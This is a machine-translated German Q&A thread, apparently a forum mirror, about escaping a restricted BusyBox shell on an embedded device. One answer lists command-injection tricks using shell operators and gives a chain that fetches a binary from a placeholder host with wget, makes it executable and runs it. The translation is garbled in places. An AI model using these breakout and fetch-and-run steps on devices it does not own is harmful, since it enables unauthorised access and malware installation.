Eingeschränkte BusyBox-Shell

Ich teste ein eingebettetes Gerät und es fehlt an Dokumentation. Wenn ich mit dem Gerät telnete, erhalte ich nur eine eingeschränkte Shell.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Dies ist eine begrenzte Shell, es ist nicht klar, wie man in die vollständige Shell kommt?

Antwort

  • Der Befehl, den Sie benötigen, ist chsh (Shell ändern) – dies ist Teil der shadow oder shadow-utils -Paket.
  • Sie können /etc/password auch manuell bearbeiten, um die Shell von zu ändern /bin/ash zu etwas anderem:

    ABER => Seien Sie sehr vorsichtig, dass die neue Shell vorhanden ist, sonst werden Sie sperren selbst raus !!!


Sie müssen root, um einen der oben genannten Schritte auszuführen.

Antwort

BusyBox konzentriert sich hauptsächlich auf die Größenoptimierung, und Befehle können exc sein während der Kompilierungszeit enthalten / enthalten. Ohne zusätzliche Informationen scheint es sich also um eine sehr begrenzte Anzahl von installierten Komponenten zu handeln.

Es sollte jedoch klar sein, dass Dies bedeutet nicht, dass die Firmware des Geräts bestimmte Dienstprogramme an sich nicht unterstützt. Wenn dies nicht ganz klar ist, sollten Sie sich den Abschnitt FAQ – Was ist Busybox ansehen? Einige Zitate sollten dies vollständig klarstellen:

„Kann ich FTP aktivieren?“ – „Wir wissen nicht, ob die Foomatic-9000-Firmware mit einer Busybox-Binärdatei mit aktiviertem FTPD-Applet geliefert wird. (Wenn Sie Zugriff auf die Shell-Eingabeaufforderung haben, versuchen Sie, „Busybox ftpd –help“ auszuführen.) Wenn dies der Fall ist, können Sie es wahrscheinlich aktivieren. Leider wissen wir nicht, wie die Foomatic-9000-Firmware das Starten und Stoppen verschiedener Dienste verwaltet (falls sie bereits über einen FTPD-Dienst verfügen und dieser nur deaktiviert ist) oder wie ein neuer Dienst auf Foomatic-9000 erstellt und aktiviert wird (falls vorhanden) Versuchen Sie nicht, danach zu googeln. „

“ Kann ich SCP aktivieren? “ – „Busybox-1.23.4 verfügt nicht über ein scp-Applet. In Foomatic-9000 ist jedoch möglicherweise scp installiert (z. B. wenn Dropbear installiert ist), und es kann möglicherweise aktiviert werden. Wenn nicht, kann möglicherweise erstellt werden und installieren Sie Ihr eigenes scp-Tool. Versuchen Sie, danach zu googeln. „

Sie sollten sich wahrscheinlich mehr auf das spezifische Gerät und die installierte Firmware konzentrieren als auf die eingeschränkte Satz von Komponenten, die mit Busybox selbst verknüpft sind.

Kommentare

  • OK, CLI-Befehl vergessen.

Antwort

Leider versuchen heutzutage die meisten eingebetteten Geräte (z. B. Router, iot-Geräte usw.) zu verhindern, dass Benutzer auf das innere System zugreifen, damit sie es können „Nicht hacken oder modifizieren. Dies ist eine Maßnahme, um die Arbeit von Botnetzen wie Mirai zu verhindern, obwohl der Schutz nicht immer sehr effektiv ist.

Eine eingeschränkte Busybox-Shell ist ein sehr häufiges Szenario Im Allgemeinen benötigt Busybox eine zugrunde liegende Shell, wenn “ s jede Art von Benutzeroberfläche (wie Telnet oder SSH). Dies bedeutet, dass es möglich sein kann, diese Shell zu umgehen und Befehle auf der zugrunde liegenden Shell auszuführen (dh / bin / sh ist sehr häufig).

Bevor Sie versuchen, der Busybox-Sandbox zu entkommen, müssen Sie die berücksichtigen Folgendes:

  • Der Hersteller hat möglicherweise die Busybox-Shell geändert, um diese Techniken zu patchen.
  • Die zugrunde liegende Shell kann eine (vollständige oder teilweise) nicht privilegierte Shell sein. Dies bedeutet, dass selbst wenn Sie es schaffen, Befehle darauf auszuführen, diese möglicherweise nicht funktionieren oder Ihnen mitteilen, dass Sie nicht über genügend Rechte verfügen.
  • Die zugrunde liegende Shell ist möglicherweise auch eine andere eingeschränkte Shell (nicht üblich)

Wenn Sie fertig sind, können Sie die folgenden „Tricks“ ausprobieren: (Alle verlassen sich auf Shell-Operatoren)

Probieren Sie Dinge wie

echo "Hello World" & <your command> 

Dies führt Ihren Befehl aus, wenn:

  1. Die Binärdatei verfügbar ist (also im Grunde genommen, wenn sie im System installiert ist)
  2. Die Shell hat Zugriff darauf (Berechtigungen)

Es gibt andere Methoden wie:

echo "Hello World" `your command` echo "Hello World" || <your command> 

und andere Variationen Sie können über das Internet finden oder es selbst versuchen.

BEARBEITEN: Ich bearbeite, um ein Beispiel hinzuzufügen, wie Sie der Shell entkommen und weitere Ausführung erhalten können.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

oder direkt ./yourbinary

Das ist die Idee. Was den chmod betrifft, tut mir leid, aber ich kann mich nicht an die genauen Argumente erinnern, um Ausführungsberechtigungen zu erteilen.

EDIT2: Ich habe bemerkt, dass Ihre Shell ash sagt, daher wurde die Busybox wahrscheinlich von einem (automatisierten) Skript ausgeführt, das ausgeführt wird aus Asche. In diesem Fall möchten Sie Befehle direkt auf der / bin / ash-Shell ausführen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.